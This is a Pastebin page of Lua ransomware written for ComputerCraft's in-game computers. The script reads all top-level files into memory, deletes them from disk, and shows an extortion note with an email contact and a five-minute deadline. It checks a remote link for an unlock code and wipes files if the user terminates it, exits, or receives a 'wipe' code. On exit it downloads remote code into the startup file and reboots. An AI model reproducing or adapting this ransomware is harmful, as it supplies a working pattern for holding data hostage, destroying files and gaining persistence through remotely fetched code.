Advertisement
asteroidsteam

Computercraft Ransomware

Feb 17th, 2018 (edited)
3,626
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 3.33 KB | None | 0 0
  1. ----------------
  2. local ransomlink = "https://pastebin.com/raw/9hu9M3q3" --Change this to a RAW pastebin link that says the computer id to let thier computer free
  3. ----------------
  4. local ransomtext = [[
  5. Warning! All your data on your hard drive has been stored to ram! That means if you exit this program all your data will be LOST Please message "***.****.**@gmail.com" within 5:00 min or your data will be DESTROYED!
  6.  
  7. Press [V] to verify your payment
  8. Press [D] to view data that has been encrypted
  9. Press [E] to exit (Once exited all files will be lost.)
  10.  
  11. ]]
  12. local violatetext = [[
  13. You terminated the program! All your files have been REMOVED from your pc and all ram data was cleared.
  14.  
  15. Sorry!
  16. ]]
  17. local paytext = [[
  18. Thank you for paying! All your data has been restored and the program is exiting! Goodbye SUKKA
  19.  
  20. Best Regards (Just kidding),
  21.                             Jack
  22. ]]
  23. local exitPText = [[
  24. Well, you put it on yourself you did not want to pay! goodbye your files.
  25.  
  26. Byebye.
  27. ]]
  28. local noPayText = [[
  29. Im sorry, you did not pay within 5:00 min! All your files have been deleted.
  30. ]]
  31. local invalidPayment = "Invalid payment! Or not detected! Please pay and/or try again. Use the code: "..os.getComputerID().." In the payment message."
  32. printError(ransomtext)
  33. local files = fs.list("/")
  34. local data = {}
  35. for i=1,#files do
  36.   if fs.isDir(files[i]) == false then
  37.     local file = fs.open(files[i], "r")
  38.     local fData = file.readAll()
  39.     local tempArray = {files[i], fData}
  40.     file.close()
  41.     table.insert(data, tempArray)
  42.     fs.delete(files[i])
  43.   end
  44. end
  45. while true do
  46.   local evt, key = os.pullEventRaw()
  47.   if (key == keys.v) and evt == "key" then
  48.     local url = http.get(ransomlink)
  49.     local code = url.readAll()
  50.     url.close()
  51.     if code == "1789-HGFC-4536-JKPO-"..os.getComputerID() then
  52.       os.sleep(3)
  53.       for i=1,#data do
  54.         local file = fs.open(data[i][1], "w")
  55.         file.write(data[i][2])
  56.         file.close()
  57.       end
  58.       printError(paytext)
  59.       break
  60.     elseif code == "wipe" then
  61.       data = {}
  62.       local files = fs.list("/")
  63.       for i=1,#files do
  64.         if files[i] == "rom" then
  65.         else
  66.           fs.delete(files[i])
  67.         end
  68.       end
  69.       printError(noPayText)
  70.       break
  71.     else
  72.       printError(invalidPayment)
  73.     end
  74.   elseif evt == "terminate" then
  75.     local files = fs.list("/")
  76.     printError(violatetext)
  77.     for i=1,#files do
  78.       if files[i] == "rom" then
  79.       else
  80.         fs.delete(files[i])
  81.       end
  82.     end    
  83.     return
  84.   elseif evt == "key" and key == keys.d then
  85.     local files = fs.list("/")
  86.     for i=1,#data do
  87.       printError("IN RAM STORAGE 1: "..data[i][1])
  88.     end
  89.     for i=1,#files do
  90.       if files[i] == "rom" then
  91.         printError("IN COMPUTER STORAGE: "..files[i])
  92.       else
  93.         printError("IN RAM STORAGE 2: "..files[i])
  94.       end
  95.     end
  96.   elseif evt == "key" and key == keys.e then
  97.     data = {}
  98.     local files = fs.list("/")
  99.     for i=1,#files do
  100.       if files[i] == "rom" then
  101.       else
  102.         fs.delete(files[i])
  103.       end
  104.     end
  105.     printError(exitPText)
  106.     local htp = http.get("https://pastebin.com/raw/NFew0g6n")
  107.     local fread = htp.readAll()
  108.     htp.close()
  109.     local file = fs.open("/startup", "w")
  110.     file.write(fread)
  111.     file.close()
  112.     os.reboot()
  113.     break
  114.   end
  115. end
  116. os.sleep(3)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement